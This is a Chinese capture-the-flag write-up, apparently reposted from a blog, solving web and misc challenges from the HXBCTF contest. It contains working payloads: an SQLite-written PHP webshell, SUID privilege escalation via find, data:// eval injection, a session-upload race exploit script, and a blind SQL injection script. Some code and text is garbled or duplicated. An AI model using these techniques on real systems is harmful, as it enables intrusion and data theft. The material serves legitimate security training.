hxb海啸杯
web
welcome to 海啸杯
查看源代码,拿到flag。
HXBCTF{welcome _to_HXB}
极客邀请函
考点:SQLite get shell、SUID提权
查看网页源码,看到注释里的PHP代码
open('./test.db');}}$db = new MyDB();if(!$db){echo $db->lastErrorMsg();} else {echo "Opened database successfully\n";}if($POST["cmd"]!=NULL){if(strpos($POST["cmd"],'system')!==false){echo 'HACK不准哦 达咩 达咩哦';}else{echo '执行成功';$db->exec($POST["cmd"]);*}}?>
SQLite还可以生成任意后缀名的数据库文件
创建一个 shell.php 的数据库文件,新建一个名为 exp 的表,并在表中插入: ,即一句话木马
ATTACH DATABASE 'shell.php' AS hxbctf; create TABLE hxbctf.exp (dataz text);insert INTO hxbctf.exp (dataz) VALUES ('');
用蚁剑连接:
发现flag在/tmp目录下,但没有权限查看,使用suid提权
利用find找到有SUID权限
find / -user root -perm -4000 -exec ls -ldb {} \;
find文件所属者和所属组都为root用户,使用find命令可以执行其它的系统命令,因此可以使用find命
令运行whoami查看当前用户
find 1 -exec whoami \;
使用find获取flag
find 1 -exec cat /tmp/flag \;![在这里插入图片描述](https://img-blog.csdnimg.cn/a3da5e5799ce4a73b0dd3fc81a2758ad.png)
参考文章:
https://blog.csdn.net/weixin_39430198/article/details/123504153
infant_serialize
Atuhor:eeknight
考点:PHP反序列化原生类利用、wakeup绕过
题目描述:反了反了
class = "hunzi"; $this->para = "luansha"; echo new $this->class ($this->para); } public function __wakeup() { $this->status="dalao"; } public function __destruct() { if($this->status!="dalao"){ $this->check = new jingcha; if($this->check->filter($this->para) && $this->check->filter($this->class)) { echo new $this->class ($this->para); } else die('有黑客,抓起来!!!!'); } else die("欢迎大佬!!!!!!!"); }}class hunzi{ var $a; public function __construct($a) { $this->a = $a; echo ("hello ".$this->a); }}class jingcha{ function filter($code){ $pattern = '/[|\'*|=|"|;|?]/i'; if (preg_match($pattern, $code)){ return false; } else return true; }}if(isset($_GET['dalao'])){ unserialize(base64_decode($_GET['dalao']));}else{ highlight_file(__FILE__);}
遍历得到flag名字 ,使用原生类FilesystemIterator。
得到42177812215a92ea1ad9b7d61a1787e8.php,即为flag所在的文件,
接着读取,使用原生类SplFileObject:
小小web
考点:md5绕过、伪协议
$r = random();if((string)$_GET['a']==(string)md5($_GET['b'])){ $a=$_GET['a']; $b=md5($_GET['b']); if($a.$r == $b){
有一个random方法,返回的是一个随机数,在这道题中,不需要清楚返回的是什么内容,我们只要知道返回的是一串数字就可以了。传入两个参数a和b,要求传入的是字符串,b会经过md5加密。最后要让 a . a. a.r == b 。因为是弱类型比较,且只能传入字符串,想要的是两个 0 e 开头的字符串进行比较,因为 b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,因为 b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,因为b是参数b经过md5加密而来,所以我们传入md5加密后是0e开头的字符串即可。
构造a,b如下
?a=0e123221&b=s1502113478a&c=/var/www/html/flag.PHP%0a
$c = file_get_contents($_GET['c']); eval($c);
刚开始以为直接将路径传给c,eval输出flag。。。
后来发现正则绕不过去,/is 匹配所有字符及换行符。
联想到题目 你就爆吧你。。应该是
第一种解法:
PHP_SESSION_UPLOAD_PROGRESS文件包含利用
的知识点了来绕过。文件竞争命令执行拿flag。
上传一个自定义的内容临时文件,传入eval,进行rec即可。
exp:
import ioimport requestsimport threadingimport time def poc(session): global event= while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://121.37.24.208:63738/?a=0e11&b=s1502113478a&cmd=system("cat%20/var/www/html/42177812215a92ea1ad9b7d61a1787e8.php");&c=/tmp/sess_bbbbbbb', data={'PHP_SESSION_UPLOAD_PROGRESS': ' ?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': 'bbbbbbb'} ) while resp.status_code==429: time.sleep(0.3) resp = session.post( 'http://121.37.24.208:63738/?a=0e11&b=s1502113478a&cmd=system("cat%20/var/www/html/42177812215a92ea1ad9b7d61a1787e8.php");&c=/tmp/sess_bbbbbbb', data={'PHP_SESSION_UPLOAD_PROGRESS': ' ?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': 'bbbbbbb'} ) print(resp.text[resp.text.find('
yes'):])if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(target=poc,args=(session,)).start()
运行得到flag。
第二种:
data协议data:text/plain file_get_contents拼接伪协议
虽然过滤了//,但是data:text/plain也可以用。
c3lzdGVtKCJscyIpOw== //system("ls");base64编码查看目录
?a=0e123221&b=s1502113478a&c=data:text/plain;base64,c3lzdGVtKCJscyIpOw==;
发现42177812215a92ea1ad9b7d61a1787e8.php
读取flag:
system("cat /var/www/html/42177812215a92ea1ad9b7d61a1787e8.php");
注意 ;不要漏掉
base加密为:
c3lzdGVtKCJjYXQgL3Zhci93d3cvaHRtbC80MjE3NzgxMjIxNWE5MmVhMWFkOWI3ZDYxYTE3ODdlOC5waHAiKTs=
?a=0e123221&b=s1502113478a&c=data:text/plain;base64,c3lzdGVtKCJjYXQgL3Zhci93d3cvaHRtbC80MjE3NzgxMjIxNWE5MmVhMWFkOWI3ZDYxYTE3ODdlOC5waHAiKTs=;
扫一扫
信息泄露,disrearch扫描发现有www.zip,直接打开失败,拖到010拿到flag。
HXBCTF{message_leak_is_dangerous!}
happy_sql
sql,盲注脚本编写。
import reimport requestsurl="http://121.37.24.208:58125/"flag=""i=0while True:small=32big=127i=i+1while small>1data = {'height':f"0 or (select case when ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)) > {mid} then 1 else 0 end)"}# 'height':f"0 or (select case when ord(mid((select flag from happy_sql),{i},1)) > {mid} then 1 else 0 end)"r=requests.post(url,data=data)if 'img/duochidian.jpg' in r.text:small=mid+1else:big =midif(re.search("}",flag)):breakelse:print(chr(small))flag+=chr(small)print(flag)
misc
套娃
码多次base,知道是base16、base32、base64,根据它们的字符集,写个脚本逐层解码
脚本破解即可:
import base64with open("Base套娃.txt", "r") as f:r = f.read()while True:try:r = base64.b16decode(r)print("base16")except:try:r = base64.b32decode(r)print("base32")except:try:r = base64.b64decode(r)print("base64")except:passif b"hxbctf" in r:print(r)break
藏在云朵的二维码
Stegsolve 文件合成,发现有个二维码,接着就选择较为清晰的两张图疯狂合成,使得二维码清楚一点,最后扫描即可拿到flag。
新时代保安
Stegsolve 选择不同的通道查看,即可拿到flag:
我的银行卡密码是:xxxx
使用archpr.exe对压缩包密码进行爆破,得出是987654。
解压得到一张图片:
也是放到Stegsolve ,选择不同的通道,lsb隐写 查找得到flag。
藏在云朵的二维码
Stegsolve 文件合成,发现有个二维码,接着就选择较为清晰的两张图疯狂合成,使得二维码清楚一点,最后扫描即可拿到flag。
新时代保安
Stegsolve 选择不同的通道查看,即可拿到flag:
来源地址:https://blog.csdn.net/m0_62107966/article/details/127503877
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341